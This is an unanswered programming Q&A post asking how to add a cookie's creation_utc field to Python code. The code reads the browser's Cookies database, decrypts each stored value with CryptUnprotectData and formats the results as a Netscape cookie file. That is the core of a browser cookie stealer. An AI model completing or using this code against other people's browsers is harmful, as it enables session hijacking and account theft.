1
1
143ec5iszjrd2019-06-12 10:31:01
Python
143ec5iszjrd, 2019-06-12 10:31:01

How to extract creation_utc from Cookies and add to code?

...........................
 cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() #никак не пойму почему 12, типа столбец, и 1 к чему?
           name = result[2]
           url = result[1]
#нужно добавить creation_utc = result ....???
           textc += url + "\tTRUE\t" + '/' + '\tFALSE\t'+ str(cookie) + ' | ' + name + ' | '   #здесь не хватает  creation_utc ' | ' '\n'

Answer the question

In order to leave comments, you need to log in

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question